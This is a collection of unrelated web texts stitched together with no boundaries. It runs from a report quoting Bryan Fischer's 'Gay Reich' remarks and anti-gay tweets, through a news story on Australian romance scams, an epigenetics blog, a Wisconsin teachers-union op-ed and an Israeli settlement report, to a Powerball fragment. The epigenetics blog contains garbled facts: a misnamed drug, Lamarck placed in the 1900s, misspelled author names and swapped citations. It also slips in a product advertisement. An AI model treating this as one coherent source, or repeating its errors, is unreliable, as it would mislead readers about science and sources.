American Family Association's Bryan Fischer offered up his usual Nazi comparisons to "Big Gay."
"If we are going to remove symbols of oppression from our culture," Fischer said, as Right Wing Watch reports. "if we come to the point where we say any flag that represents bigotry, any flag that represents hatred, any flag that represents slavery or oppression needs to be removed, then I want to suggest to you that the next flag to go ought to be the rainbow flag of the Gay Reich."
"The rainbow flag represents the gay lobby, it represents Big Gay, it represents what I'm calling for the first time today, I'm introducing a new term: the Gay Reich," he continued. "They've got a flag just like the Nazis had their flag."
https://www.youtube.com/watch?v=JiibClEZ6Fo
A few more calls for the gay pride flag to come:
World changing when calls to take down Confederate flag while US diplomatic posts are unfurling gay pride flags. pic.twitter.com/8PwGN73dkX — Chase Winter (@chaseawinter) June 23, 2015
@ReutersOpinion @Reuters Old civil war flag is offensive? Take down the gay pride flag bc it's offensive to heterosexual and the faith bound — Nick Bezno (@armygreens) June 23, 2015
#ConfederateFlag comes down so should the Gay flag. — Danny (@RadicalConserva) June 23, 2015
If the #ConfederateFlag must come down why not the Gay Rainbow Flag. — Count Down to 2016 (@bad_robot_57) June 22, 2015
If they take down that Confederate Flag, I will start burning gay pride flags. I promise. — Alex Van Biersel (@alexandre_vb1) June 22, 2015
The gay pride flag offends me. Take it down. — Shannon Catoe (@shannoncatoe) June 23, 2015
Image: U.S. Embassy in Tel Aviv, June, 2014. Photo by Ambassador Dan Shapiro via Facebook
Updated
There have been plenty of warnings but love-struck Australians continue to part with more than $20 million a year in online romance scams.
There are now calls for a national approach to combat the fraud, which can have a devastating - and potentially fatal - fallout.
Earlier this year, a West Australian woman was found dead, presumed murdered, in South Africa after travelling there to see a Nigerian man she had met online.
Since then, the state's police have stopped other scam victims from travelling if they believe they are heading for a similar fate.
The prevalence of the scams has prompted the Western Australia's fraud squad to join forces with the state's consumer-protection watchdog to take on the organised crime gangs responsible.
But it is a huge effort, and those witnessing the impact first-hand say Australia needs to set up an effective national taskforce to come anywhere close to winning the battle
Neil Johnstone, a 50-year-old divorcee, turned to the internet to find companionship.
He was bombarded with attention from Mavis Mensah, who claimed to be an Australian living in west Africa.
You just believe within yourself that they're real, they are the best person ... and anything they ask for or anything they want - you give it to them no matter what. Scam victim Neil Johnstone
But there was heartbreak ahead.
"I finished work - I was on night shift - and I got that message and I was over the moon it was all happening," he told 7.30.
"I jumped in the car, drove to Perth very excited. Got to the airport - nothing."
This plane ticket, one of five Mr Johnstone paid for over their year-long relationship, turned out to be fake.
And so was Mavis, whose photos belonged to a US-based model.
"You just believe within yourself that they're real, they are the best person, that's the person I want and anything they ask for or anything they want - you give it to them no matter what," Mr Johnstone said.
He borrowed most of the $100,000 he sent to west Africa, and says he was upfront with the banks over what he needed most of the loans for.
"It's pretty close to D-day where all the banks want their money back now," he said.
Perth woman fooled by scammers twice
Detective Sergeant Rob Martin from the Western Australian Major Fraud Squad has heard it all before.
"It's a very unpleasant job to actually have to turn up on the victims doorstep and break the news that the person that has made them feel better than they've felt for a very long time isn't real and the romance that they thought they were involved in is just a fantasy," he said.
Perth resident Tracey Holmes, 48, is still coming to terms with the fact that she has been conned.
She thought a US man called Todd Hamilton was in love with her. Over the past year she sent him $25,000 to help with his business.
He was the second online identity she has lost money to in recent years.
I actually thought he was a lovely gentleman. And I thought he had the most sexy voice I've heard from a man. Scam victim Tracey Holmes
"I actually thought he was a lovely gentleman. And I thought he had the most sexy voice I've heard from a man," she said.
But the romance turned ugly when Ms Holmes discovered his photographs were of an unknown man and were probably lifted from a social media site.
Now, the scammer is blackmailing her over revealing photos she sent to him online. He had also taken secret footage of her.
"He has scantily clad pictures - not fully exposed but pretty scantily clad," she said.
"I had no idea that he was videoing me but he videoed me. So he's been accumulating information about me all this time and using it against me to now blackmail me into paying him $10,000."
Ms Holmes was also duped into becoming a so-called "money mule" - someone used by the scammers to funnel stolen cash through Australian bank accounts.
"He started doing transactions through my account," she said.
"When the money went into my account they would ask for an SMS code and I would give him the code and wherever the money was going ... it was going."
Authorities team up to battle scammers
With about 300 new scam victims a month in Western Australia, the state's fraud squad has pooled resources with the Department of Consumer Protection to take on the fraudsters.
Called Operation Sunbird, it is identifying scams by tracking large money transactions from WA to west African countries, and then contacting the victims.
Initially they are contacting the victims by post.
"In 63 per cent of cases, we're not seeing any further transactions following that first letter," said Ann Driscoll from the Department of Consumer Protection.
But others refuse to face the truth and keep sending the money.
To me they seem like trained psychologists, the way they're able to actually manipulate the victim. They're able to tap into the things that actually push the buttons of the victim. Detective Sergeant Rob Martin
Detective Sergeant Martin says while the victims might seem naive, the scammers are convincing and constantly refining their techniques.
"To me they seem like trained psychologists, the way they're able to actually manipulate the victim. They're able to tap into the things that actually push the buttons of the victim," he said.
But the costs can go well beyond financial loss.
In March, 67-year-old West Australian woman Jette Jacobs was found dead in South Africa, after she travelled there to meet a man who she had been sending money to online.
Since then police have stopped several others from travelling overseas.
"We had an occasion where a gentleman from here, in his 70s, was about to travel to Ghana," said Detective Senior Sergeant Dom Blackshaw.
"We were able to get the name of the person who was going to collect him from the airport.
"He was going to meet a love interest - a young girl. She'd actually provided the name of her so-called brother to this gentleman.
"Once we did the check, we identified he was a member of the Sakawa Boys - they were an organised crime gang based in Ghana"
Topics: fraud-and-corporate-crime, law-crime-and-justice, internet-culture, information-and-communication, perth-6000, wa, australia
That there are questions and challenges to epigenetics is nothing new since this is the way that new ideas usually are vetted before finally being either partially or fully embraced. However, despite this, there are those who see what can be done with the knowledge we do have as it emerges from the research.
This blog post intends to discuss both sides of the debate over the utility of epigenetics, as well as what has become of currently available applied research regarding diagnostics and the availability of new treatments emerging from epigenetics.
What is Causing the Debate?
Acceptance of Epigenetics
One of the criticisms of epigenetics is that the definition is vague and has become an all-encompassing collection of concepts, including anything that is not able to be otherwise explained: “gene regulation, physiological adaptation, disease responses…they all fall into the catch-all of epigenetics.”[2] Detractors make note of the fact that those who study epigenetics can’t even agree on common vocabulary and definitions. They also add that the epigenetic experiments have been weakly designed and there are many alternative explanations for the results, other than epigenetics[3].
However, all of this criticism obscures the fact that there are many examples of well-designed experiments that have resulted in a wealth of information. For now, the field of epigenetics “is like where genetics was 20 years ago,” says Jones, a pre-eminent leader in epigenetics. “Now it’s time to ramp it up, to move from one gene at a time to all of the genome at one time, studying all the cells to figure out how the whole thing fits together and works.”[4]
The Mechanism of Epigenetic Change
How do you explain how one cell develops into a complete human being with all the expected milestones that occur during development? Going deeper, how can virtually all epigenetic information be removed from the head of a sperm except for 10% of the original histones[5], yet what appears to be epigenetic inheritance occurs? What is the mechanism of transgenerational inheritance? How is it that most cells can revert back to the stem cell state, i.e. blank slate and develop into other tissues? The exciting part about epigenetics is that many diseases are known to have a genetic component, but the epigenetic mechanisms underlying many conditions are still being discovered with the expectation that this will lead to targeted treatments.
How are Epigenetic Changes Made Heritable?
A growing body of evidence is finding that DNA mutations, can only explain a minority of observed transmitted traits; the rest appears to be related to epigenetics. An example of epigenetic effects is imprinting.[6] Mammals inherit a set of chromosomes from each parent. Most autosomal genes will be expressed from both the maternal and the paternal alleles. Imprinted genes, however, are expressed from only one chromosome, in a parent-of-origin–dependent manner supporting the contention that epigenetics must play some active role that we have yet to understand.
The actual process of transmitting these traits along with their respective markers is not as easy as it sounds and raises more questions than answers. In order for imprinted genes to be inherited, there are a number of hurdles: 1) the chromosome must be marked as to its parental origin prior to fusion of the egg and sperm, while the maternal and paternal chromosomes are still physically separate; 2) the mark must be able to be erased and reset as development begins (most methylation is stripped from the sperm DNA at this point, although methylation remains detectable at several notable features)[7]; 3) as the cells divide and differentiate, this mark must persist; 4) a parent-of-origin mark must be recognized so that the appropriate gene is expressed In order for this information to survive through multiple generations, the signal needs to survive multiple rounds of stripping of methylation, histone, and RNA associations with DNA. As differentiation proceeds, methylation and other regulators are gradually reestablished by an as yet unknown mechanism.
What Epigenetics Can Tell Us
Central Dogma
In 1957, Francis Crick[8] outlined a startling vision of life. The ‘central dogma’ of molecular biology holds that the DNA message is transcribed into RNA which serves as a template for protein production. One gene, one protein, one tidy organization. Except that his contention doesn’t account for certain repeated observations from a growing body of scientific and medical disciplines that is not consistent with the “central dogma”. For example, it is widely recognized that identical twins with identical DNA can have dramatically different phenotypes. Another example is the study that showed that pregnant women exposed to famine in late pregnancy gave birth to smaller babies who had an increased risk of insulin resistance, obesity, dyslipidemia, and coronary heart disease.[9]
Slowly, the concept of the epigenome is being embraced. This brings up several dichotomies: Nature (genes) versus Nurture (experience with the environment), genome and epigenome as separate entities, evolution versus programming. While small changes in DNA sequence over long periods of time enhance some adaptations, this behavior does not cover the swift changes in the expression DNA that are required with environmental changes. Epigenetic factors appear to be more important than the influences of genomic information, Genetic factors account for only 20% of the heritability of diseases such as Crohn’s[10] implying that epigenetic factors are far more important than what the genetic code is. Genes appear to link evolution and development in a number of ways.
As contentious as it sounds, both the central dogma and epigenetics can not only coexist but complement each other. The base-pair nucleotide sequence of DNA, the typical subject of study in classic genetics, cannot completely explain the observations that epigenetics seems to explain. These lessons are likely to lead us to reformulate our basic assumptions about the organization and role of the genome in phenotypic expression, evolution, and heredity[11].
The Origin of Disease
A number of studies have focused on genome- wide assays to indicate a possible cause and effect relationship with a disease and epigenetic changes. While we are tempted to conclude a cause and effect relationship, changes to epigenetic markers don’t necessarily cause disease, but may be a consequence of disease[12]. A study that is frequently used as an example of this conundrum involves people of high body mass index that had unusual epigenetic markers on a specific gene[13]. Initially, there was celebration among the researchers because they found a specific marker that could be manipulated and revolutionize the treatment to cure obesity. Their hopes were dashed when a subsequent study found that it was only after the people gained weight that the epigenetic marker appeared.[14]
Other studies that were more appropriately designed, showed a universal loss of the maternal allele in Wilms’ tumor. With loss of imprinting, an unidentified tumor suppressor gene appears to be expressed.[15] Loss of this specific allele has been found to be common in lung cancer, breast cancer, and ovarian cancer. The emergent challenge is to now find out how these changes in epigenetic markers might be harnessed to find a cure for cancer.
Effect on Behavior
Autism and bipolar disorder are two common complex traits that have defied gene identification, and both show surprisingly high frequencies of phenotypic discordance in identical twins, implying epigenetic changes to account for the differences.[16] Maternal behavior in rats can affect long-term behavior in their offspring and this correlates with changes in DNA methylation and histones attached to a glucocorticoid receptor gene promotor in the pup’s hippocampus. In the same study, the researchers found that the effects were not permanent; that in fact, giving the drug Reichstein A or the amino acid l-methionine to older pups could help reverse the behavioral effects of poor maternal care.[17] This is an example of what epigenetics may be able to offer for addressing the source of the problem.
Effect of Diet and Nutrition on Epigenetics
In general, mainstream medicine does not focus on nutrition but instead just advises patients to “eat a healthy diet”. Though animal evidence linking nutrition and DNA methylation is fairly extensive, comparable studies in humans are limited. In theory, anything that interferes with methylation is bound to have a profound effect on epigenetic expression. Methylation is dependent on an adequate supply of methyl donors, the major ones being S-adenosyl-methionine (SAM) and folate. SAM is not produced unless folic acid, Vitamin B 12 , and other nutritional co-factors are present such as methionine, betaine, and choline. A deficiency of any of these vitamins and cofactors can lead to hypomethylation.[18] The effects of a low folate diet can be reversed, but it can take months.
Peri-conception is a very vulnerable time for the developing fetus and deficiencies at this time can have effects on development and into adulthood. Flour is now fortified with folate to significantly reduce the incidence of neural tube defects[19]. In an animal study[20] using mature female sheep, restriction of folate, vitamin B-12, and methionine from the peri-conceptional diet-induced obesity in adult offspring as well as altered immune responses to an antigenic challenge. All of these changes were associated with a widespread decrease in methylation.
Environment and Stressors
Human behavior in adulthood is greatly influenced by various environmental stressors during childhood and adolescence.[21] To study this question, adolescent mice predisposed to neurological disorders were placed in solitary confinement from the age of 5 to 8 weeks and then returned to group housing after adolescence (from 8 to 20 weeks). At 8 and 20 weeks of age, they examined DNA methylation in the Th gene between the control and isolated group. The significantly high levels of methylation in the isolated animals were much greater when compared to the control group at 8 and 20 weeks. They concluded that isolation stress during adolescence can elicit molecular, neurochemical, and behavioral deficits when combined with an appropriate genetic risk.[22]
In another study[23], rats were stressed from gestational days 12 to 18 while others served as handled controls. Gestational stress in the mother disrupted post-partum maternal behavior and was accompanied by brain miRNA differences compared with control in both the mother and her offspring, and altered transcribed brain profiles in the offspring. Offspring gene expression changes included genes related to development, axonal guidance, and neuropathology. These findings indicate that prenatal stress modifies epigenetic signatures linked to disease during critical periods of fetal brain development. The authors concluded that these observations provide a new mechanistic association between environmental and genetic risk factors in psychiatric and neurological disease.
Environmental Toxins
A lot has been written about the influence of toxins on our health. And generally, we feel a sense of security when we know that the levels in our environment are in the “safe zone”. However, recent research demonstrates that endocrine disrupting chemicals (EDCs) at infinitesimally small amounts can wreak havoc on development and that these changes can be heritable for several generations. This means that the addition of any exogenous chemicals and/ or EDCs automatically exceed thresholds for affecting development. Rapidly growing evidence has linked environmental pollutants with epigenetic variations, including changes in DNA methylation, histone modifications, and microRNAs.[24]
A very elegant study was carried out by Diaz and Kessler[25] to demonstrate the effect of parental chemical exposure on the behavior of successive generations. Adult mice (F0) were subjected to odor fear conditioning with acetophenone, a chemical known to activate a specific odorant receptor in mice. The exposed mice were bred and the subsequent F1 and F2 generations showed an increased behavioral sensitivity to the F0-conditioned odor, but not to other odors. Even more importantly, genetic analysis reveals hypomethylation of the olfactory receptor gene that was stimulated in the F0 mice. Their findings provide a framework for addressing how the effects of environmental toxins may be inherited transgenerationally at behavioral, neuroanatomical and epigenetic levels.
Darwin versus Lamarck
Epigenetics represents a fatal flaw in Darwin’s theory of natural selection where DNA changes over time were relevant. Epigenetics has elements that hark back to the discredited theories of Jean-Baptiste Lamarck, who in the 1900’s proposed that organisms pass down acquired traits to future generations. That is where the similarities to epigenetics end. He also believed that giraffes have long necks because they had to reach the top of trees to get food and they passed this trait on to their young. At the turn of the 20th century, August Weismann debunked that theory by chopping off the tails of mice to prove that their pups could not inherit their tail-lessness.
Other Explanations
The mechanism of epigenetics has been attributed to methylation, histones, and RNA although there could be other explanations for the observations related to things outside our field of vision. These might include things such as prions,[26] viruses, or something as yet undiscovered. We are just now getting a hint at what epigenetics can do in the way of clinical applications while we sort through the evidence currently available. Clarifying the possibilities for clinical applications will keep scientists busy for quite some time.
Value of Epigenetics Now
Despite the fact that we are only touching the surface of epigenetics, sufficient information has been gathered and harnessed resulting in a number of clinically relevant applications. There is no field of medicine, biology, or sociology that is ignoring the opportunities made available by epigenetics and scientists are dreaming up novel ways to apply this new knowledge. As examples of what can be accomplished with our understanding of epigenetics, three areas will be explored: male infertility, stem cells, and cancer therapy.
Male Infertility
Spermatozoa have often been viewed simply as the motile means by which male DNA is delivered to the awaiting oocyte. In other words, sperm were thought to be passive. Current research takes issue with that assumption and as technology advances, it becomes clear that sperm are as involved in regulation of embryonic development as the egg is.[27] This introduction of new and contrasting data has moved the field to now ponder a new question for research; how does a terminally differentiated sperm prepare to make a totipotent embryo?
Understanding the details of the normal function of sperm has been like slowly peeling the layers of an onion. From genetic analysis to epigenetics to proteomics, new information has been gained as technology and knowledge appearing at an almost logarithmic rate has advanced. There are approximately 2700 genes involved in spermatogenesis.[28] As part of this process, spermatozoa undergo a complete remodeling and repackaging as they mature and prepare for fertilization. During the final stage of spermiogenesis, 90-95% of histones are stripped from the DNA and replaced with protamine.[29] The residual histones and mRNA appear to be necessary for post-fertilization paternal gene regulation of embryogenesis and maintenance of imprinted gene markers.[30]
DNA methylation is a potent inhibitor of gene expression. At the time of fertilization, most of the sperm DNA is de-methylated by an unknown process.[31] Between the removal of histones and de-methylation of DNA, most of the DNA is naked and thus available for transcription and embryogenesis. As development proceeds, DNA is again progressively methylated, as certain genes are no longer required.[32]
Having some clues as to how normal sperm function opens windows into understanding the mechanisms of male infertility. Issues such as aging of the prospective father (discussed above), using abnormal sperm to fertilize an egg using ICSI, sperm preservation, and sperm donation all have in common the risk of paternal inheritance of abnormal genetic or epigenetic information.[33] Some of the issues already identified are a small increased risk of imprinting disorders in offspring of ICSI[34], abnormal methylation patterns in male infertility[35], abnormal histone modifications in infertility[36], and altered amounts of protamine in sperm associated with infertility and abnormal embryo development.[37]
Based on the methylation and histone modifications that have been discovered in sperm, it is now possible to predict male fertility. Episona is a molecular information company that develops personalized diagnostics, based on the science of epigenetics. Our first product, Seed, is the first diagnostic test to predict male infertility by analyzing epigenetic modifications at the level of the DNA, making it easier to guide treatment decisions. This association between epigenetic profile and infertility exists even when the semen parameters (i.e., count, morphology, and motility) are normal.
Cancer Research
Male fertility is just one of the spin-offs from epigenetic technology. The DNA-methylation and histone-modification patterns associated with the development and progression of cancer have potential clinical use. DNA hypermethylation markers are under study as diagnostic tools, prognostic factors, and predictors of responses to treatment. Unlike mutations, DNA methylation and histone modifications are reversible. It is possible to re-express DNA-methylated genes in cancer cell lines by using demethylating drugs, two of which appear to have some effect at very low doses. Drugs that deactivate the changes to histones are also being tried in vitro[38]. One concern about using these drugs is that they are nonspecific and could have unintended consequences in normal tissues. In addition to anti-cancer drugs, other chemicals are being assessed for their ability to selectively alter epigenetics. Other markers have added to our knowledge of the cells of origin of cancer[39] which will aid in personalized treatment.
Cell Reprogramming
Stem cells have excited scientists and physicians because of the great potential for gene transfer, restoring damaged tissue, in vitro drug testing, modeling diseases, and reversing the ravages of old age. At this time there are 2 sources of stem cells: embryonic stem cells (ES) and human somatic cells. The former is difficult to acquire and the latter has a low yield from reprogramming efforts. Induced pluripotent cells (iPS) are a third option, slowing moving from animal models to human application.
The significance of iPS cannot be overstated in terms of research and application in this area; it appears to be the best alternative because the needed stem cells are derived from the patient’s own somatic cells that are cultured in a media containing 3 or 4 transcription factors. In this technique in mice, it produces a high yield of stem cells that appear to be equivalent to ES in gene expression and embryo development. In humans, the gene expression is similar, but there are some differences in iPS and ES clones and cell lines. Studies are underway to find out just what the differences are and whether they are relevant to clinical trials with iPS.[40]
The ability to reprogram cells has resulted in a race to further define what can be done with reprogramming ability and potential clinical applications. The possibilities are limitless and the future of reprogramming cells is bright, specifically due to the scientific exploration now occurring in this fascinating emergent field.
[1] Waddington, C.H. The epigenotype. Endeavour, 1942; 1, 18–20.
[2] https://scienceblogs.com/pharyngula/2008/07/22/epigenetics/
[3]Guerrero-Bosagna. High Type II Error and Interpretation Inconsistencies When Attempting to Refute Transgenerational Epigenetic Inheritance. Genome Biology, 2016; 17:153.
[4] https://www.usc.edu/hsc/info/pr/ccr/07winter/epigenetics.html
[5] Miller D, Brinkworth M, Iles D. Paternal DNA packaging in spermatozoa: more than the sum of its parts? DNA, histones, protamines and epigenetics. Reproduction. 2010;287-301.
[6] Pfeiffer K. Mechanisms of genetic imprinting. American Journal of Human Genetics. 2000 Oct; 67(4): 777–787.
[7] Smith ZD, et al. DNA Methylation dynamics of the human preimplantation embryo. 2014 July; 511: 611–615.
[8] Crick FHC. Central Dogma of Molecular Biology, Nature, 1970;227:561-563.
[9] Painter RC, Roseboom TJ, Bleker OP. Prenatal exposure to the Dutch famine and disease in later life: an overview. Reproductive Toxicology 2005; 20:345–352.
[10] Park JH, Withholder S, Gail MH, et al. Estimation of effect size distribution from genome-wide association studies and implications for future discoveries. Natural Genetics 2010; 42:570–5.
[11] Shapiro JA. Revisiting the central dogma in the 21st century. Natural Genetic Engineering and Natural Genome Editing: Annals of the New York Academy of. Science. 2009;1178: 6–28.
[12] Egger G, Liang G, Aparicio A, Jones PA. Epigenetics in human disease and prospects for epigenetic therapy. Nature. 2004; 429:457-63.
[13] Dick KJ, Nelson CP, Tsaprouni L, et al. DNA methylation and body-mass index: a genome-wide analysis. Lancet. 2014; 383:1990–1998.
[14] Richmond RC, Sharp GC, Ward ME, et al. DNA methylation and body mass index: investigating identified methylation sites at HIF3A in a causal framework. Diabetes. 2016; db150996.
[15] Steenman MJ, Rainier S, Dobry CJ, et al. Loss of imprinting of IGF2 is linked to reduced expression and abnormal methylation of H19 in Wilms’ tumor. Nature genetics. 1994; 7:433-9.
[16] Crews, DC, Gore AC. Transgenerational epigenetics: current controversies and debates. Transgenerational Epigenetics: Evidence and Debate. Amsterdam: Elsevier (2014): 371-91.
[17] Weaver IC, Cervoni N, Champagne FA, et al. Epigenetic programming by maternal behavior. Nature neuroscience. 2004; 7:847-54.
[18] Jacob RA, Gretz DM, Taylor PC, et al. Moderate folate depletion increases plasma homocysteine and decreases lymphocyte DNA methylation in postmenopausal women. Journal of Nutrition, 1998;128:1204–12.
[19] Honein MA, Paulozzi LJ, Mathews TJ, et al. Impact of folic acid fortification of the US food supply on the occurrence of neural tube defects. Journal of the American Medical Association. 2001;20;285:2981-6.
[20] Sinclair KD, Allegrucci C, Singh R, et al. DNA methylation, insulin resistance, and blood pressure in offspring determined by maternal peri-conceptual B vitamin and methionine status. Proceeding of the National Academy of Science USA. 2007; 104:19351–6.
[21] Blakemore SJ. The social brain in adolescence. Nature Reviews Neuroscience. 2008; 9:267-77.
[22] Niwa M, Jaaro-Peled H, Tankou S, et al. Adolescent stress–induced epigenetic control of dopaminergic neurons via glucocorticoids. Science. 2013; 339:335-9.
[23] Zucchi FC, Yao Y, Ward ID, et al. Maternal stress induces epigenetic signatures of psychiatric and neurological diseases in the offspring. PloS one. 2013 Feb 22;8(2):e56967.
[24]Dias BG, Ressler KJ. Parental olfactory experience influences behavior and neural structure in subsequent generations. Nature neuroscience. 2014; 17:89-96.
[25] Rando OJ, Verstrepen KJ. Timescales of genetic and epigenetic inheritance. Cell. 2007 Feb 23;128(4):655-68.
[26] Trivedi BP. Outside the fold. Nature 2012; 482:294-296.
[27]Carrell DT, Aston1 KI, Oliva R, et al. The “omics” of human male infertility: integrating big data in a systems biology approach. Cell Tissue Res (2016) 363:295–312. DOI et al 10.1007/s00441-015-2320-7
[28] de Mateo S, Martinez-Heredia J, Estanyol JM, et al. Marked correlations in protein expression identified by proteomic analysis of human spermatozoa. Proteomics 2007;7:4264–4277.
[29] Aoki VW, Carrell DT. Human protamines and the developing spermatid: their structure, function, expression and relationship with male infertility. Asian J Androl 2003;5:315–324.
[30] Dunn GA, Morgan CP, Bale TL. Sex-specificity in transgenerational epigenetic programming. Horm Behav 2013;59:290–295.
[31] Erkek S, Hisano M, Liang CY, et al. Molecular determinants of nucleosome retention at CpG-rich sequences inmouse spermatozoa. Nat Struct Mol Biol 2013;20:868–875.
[32] Borgel J, Guibert S, Li Y, et al. (2010) Targets and dynamics of promoter DNA methylation during early mouse development. Nat Genet 2010;42:1093–1100.
[33] Morris ID, Ilott S, Dixon L, Brison DR. The spectrum of DNA damage in human sperm assessed by single cell gel electrophoresis (Comet assay) and its relationship to fertilization and embryo development. Human Reproduction. 2002;17(4):990-8.
[34] Lazaraviciute G, Kauser M, Bhattacharya S, Haggarty P, Bhattacharya S. A systematic review and meta-analysis of DNA methylation levels and imprinting disorders in children conceived by IVF/ICSI compared with children conceived spontaneously. Human reproduction update. 2014;Jun 24:dmu 033.
[35] Aston KI, Punj V, Liu L, Carrell DT. Genome-wide sperm deoxyribonucleic acid methylation is altered in some men with abnormal chromatin packaging or poor in vitro fertilization embryogenesis. Fertil Steril 2012;97:285–292.
[36] Hammoud SS, Nix DA, Hammoud AO, et al. Genome-wide analysis identifies changes in histone retention and epigenetic modifications at developmental and imprinted gene loci in the sperm of infertile men. Hum Reprod 2011;26: 2558–2569.
[37] Aoki VW, Emery BR, Liu L, Carrell DT. Protamine levels vary between individual sperm cells of infertile human males and correlate with viability and DNA integrity. J Androl 2006;27:890–898.
[38] Esteller M. Epigenetics in cancer. New England Journal of Medicine. 2008; 58:1148-59.
[39] Visvader JE. Cells of origin in cancer. Nature. 2011;469:314-22.
But, as has happened in Wisconsin, when teachers unions muscle legislators like the Mafia and Democrats abandon their voting posts because they don't like projected outcomes, haven't we abandoned the very foundational principles of our republic? Where were the "be civil" mainstream media police last Friday morning, when union demonstrators screamed at legislators on the floor of the Wisconsin Assembly while they voted?
More proof of union dominance and monopoly came out Feb. 22, when Wisconsin's Government Accountability Board released a report that disclosed the top 10 lobbying groups in the state. Look who is at the top of the list:
1) Wisconsin Education Association Council, 7,239 hours, $1,511,272
2) Wisconsin Insurance Alliance, 1,427 hours, $777,430
3) Forest County Potawatomi Community, 1,492 hours, $756,512
4) Altria Client Services Inc., 1,321 hours, $755,733
5) Wisconsin Hospital Association, 5,126 hours, $605,033
6) Wisconsin Petroleum Marketers and Convenience Store Association, 1,379 hours, $560,544
7) Wisconsin Manufacturers & Commerce, 4,967 hours, $508,023
8) RAI Services Co., 186 hours, $466,253
9) Wisconsin Independent Businesses Inc., 7,939 hours, $458,414
10) Wisconsin Energy Corp., 1,547 hours, $387,222
The Wisconsin Education Association Council leads the pack of lobbyists, spending two times as much and five times the amount of time as its closest lobbying competitor in order to buy, bribe and bamboozle legislators to do as it wants.
What also chaps my hide is that a gigantic chunk of the WEAC's gangster money and time is used to lobby against alternative choices in schools (including charter schools) and against tuition tax credit programs, which aid parents in sending their children to private schools.
The fact is that teachers union-sponsored protests spreading the land are not primarily about the teachers or the students. They are about the unions and feds maintaining their Mafia-style rule over education and our kids and preventing people from choosing educational alternatives.
Or are we naive enough to believe that Richard Trumka, president of the AFL-CIO, is stopping by the White House repeatedly for just tea and crumpets even though he admitted this past week: "I'm at the White House a couple times a week. ... I have conversations every day with someone in the White House or in the administration"?
It brings me back to that bully educational manifesto of President Barack Obama's secretary of education, Arne Duncan, who explained in an NPR interview, "I'm a big believer in choice and competition, but I think we can do that within the public-school framework."
There's something that the U.S. government and unions don't want you to know. And it came out a short time ago in a Heritage Foundation report on education. It conveys the general public's increasing dissatisfaction with public education and tells of the rising number of people opting for private education.
The report explains that during the 2007 and 2008 legislative sessions, 44 states introduced school-choice legislation. Forty-four states! And in 2008, choices for private school were enacted into law or expanded in Arizona, Utah, Georgia, Florida, Louisiana and Pennsylvania. And as of 2009, 14 states and Washington, D.C., offered voucher or education tax credit programs.
Despite the growing public preference for private education, however, Congress last year canceled the District of Columbia's Opportunity Scholarship Program, created in 2004 to offer students from low-income families in the nation's capital an opportunity to join the school voucher community. The law provided $14 million in scholarships to help pay tuition at private schools of their choosing. But no longer.
And why did Congress nix the program, especially when studies had shown that students receiving vouchers since the program's inception were academically 18.9 months ahead of their peers? (All of Thurgood Marshall Academy's charter graduates are accepted to colleges.) Why would Congress phase out a program that cost $7,500 per student annually, compared with the $15,000 it costs in Washington's public schools to educate a child?
There's only one reason Congress canceled the program. It's the same reason at the heart of the teachers unions' battle in Wisconsin. It comes down to this: control and educational indoctrination.
I wrote in the paperback expansion of my New York Times best-seller "Black Belt Patriotism: How To Reawaken America": "The reason that government ... (is) cracking down on private instruction has more to do with suppressing alternative education than assuring educational standards. The rationale is quite simple, though rarely if ever stated: control future generations and you control the future. So rather than letting parents be the primary educators of their children -- either directly or by educating their children in the private schools of their choice -- (government wants) to deny parental rights, establish an educational monopoly run by the state, and limit private education options. It is so simple any socialist can understand it. As Joseph Stalin once stated, 'Education is a weapon whose effects depend on who holds it in his hands and at whom it is aimed.'"
Parents deserve educational choices. Choice is what this country was founded upon.
March 30, 2017, 10:32 PM GMT / Updated March 31, 2017, 11:30 AM GMT By Paul Goldman
The Israeli Security Cabinet on Thursday approved the construction of the first new Jewish settlement in the West Bank in 20 years, setting the stage for a confrontation with the Palestinians who bitterly oppose the project and claim the land as their own.
The move — which still needs approval from the entire Cabinet — came despite a request from President Donald Trump in February to put the brakes on any new settler developments.
Israeli settlers block the road during the evacuation of the settlement. Abir Sultan / EPA
Israeli Prime Minister Benjamin Netanyahu had been under pressure at home by hard-line settlers and their backers to relocate some 30 families who had been forcibly evicted from the Amona settlement in the West Bank after the Israeli high court ruled it was illegal.
Netanyahu's announcement Thursday was terse and straight to the point: "The Political-Security Cabinet unanimously approved this evening the establishment of a new settlement for the evacuees of Amona, in the Shilo Valley region."
While more than 600,000 Israelis live in settlements in the West Bank and east Jerusalem, Israel has not built a full-fledged new settlement since the 1990s. Instead, building during that period has expanded existing settlements or taken place in unauthorized outposts like Amona. Netanyahu's hard-line government, which is dominated by settler allies, recently passed legislation aimed at legalizing dozens of those outposts.
The Palestinians and much of the international community consider the settlements obstacles to peace because they occupy up territory where the Palestinians seek to establish a future state. Israel says the status of settlements as well as other issues, such as security, should be resolved in peace talks.
A leading settler organization welcomed the decision, but warned that it would watch the government carefully to see what came next.
"The true test will be the implementation of these plans and their manifestation as actual bricks and mortar on the ground," said Oded Revivi of the Yesha Council. "We will be monitoring the government very closely to see that these plans come to fruition, enabling a new era of building throughout our ancestral homeland."
Palestinian Liberation Organization committee member Hanan Ashrawi, meanwhile, immediately condemned the decision.
Related: Netanyahu: U.N. Will Not Dictate Terms to Israel
“Today’s announcement once again proves that Israel is more committed to appeasing its illegal settler population than to abiding by the requirements for stability and a just peace," she said.
Israeli opposition groups like Peace Now also chimed-in with condemnation.
"Netanyahu is held captive by the settlers, and chooses his political survival over the interest of the state of Israel," the group said. "By giving in to settler pressure, Netanyahu is leading Israelis and Palestinians to a reality of one state and apartheid."
In an email to NBC News, United Nations Deputy Spokesman Farhan Haq "reiterated the U.N.'s long-standing position that settlements are unhelpful to the peace process."
There was no immediate response from the White House.
By last week, the proposed new settlement was on the agenda when Israel’s ambassador to the United States, Ron Dermer, met with Jason Greenblatt, Trump’s special representative for international negotiations, The Washington Post reported.
Some 330 right-wing Israeli settlers lived in Amona, which was the largest of the outposts built in the West Bank without official authorization.
A customer holds a ticket with numbers for the multistate Powerball lottery jackpot at a convenience store in Decatur, Ga., Jan. 10, 2016. (Photo: EPA)
The Powerball lottery jackpot continues to grow — to an estimated record $1.3 billion by the next drawing at 10 p.m. ET Wednesday — after nobody matched the winning numbers Saturday.
No shame in that. The odds of winning the largest prize in U.S. lottery history were 1 in 292.2 million.
"That just shows the total randomness of Powerball," Gary Grief, executive director of the Texas Lottery, told NBC News' Weekend Today on Sunday. "At our peak last night, we were selling more than $1.2 million in Powerball tickets every single minute."
Roughly speaking, the chances of picking the right combination of numbers is like flipping a coin and getting heads 28 times in a row, according to Jeffrey Miecznikowski, an associate professor of biostatistics at the University at Buffalo in New York.
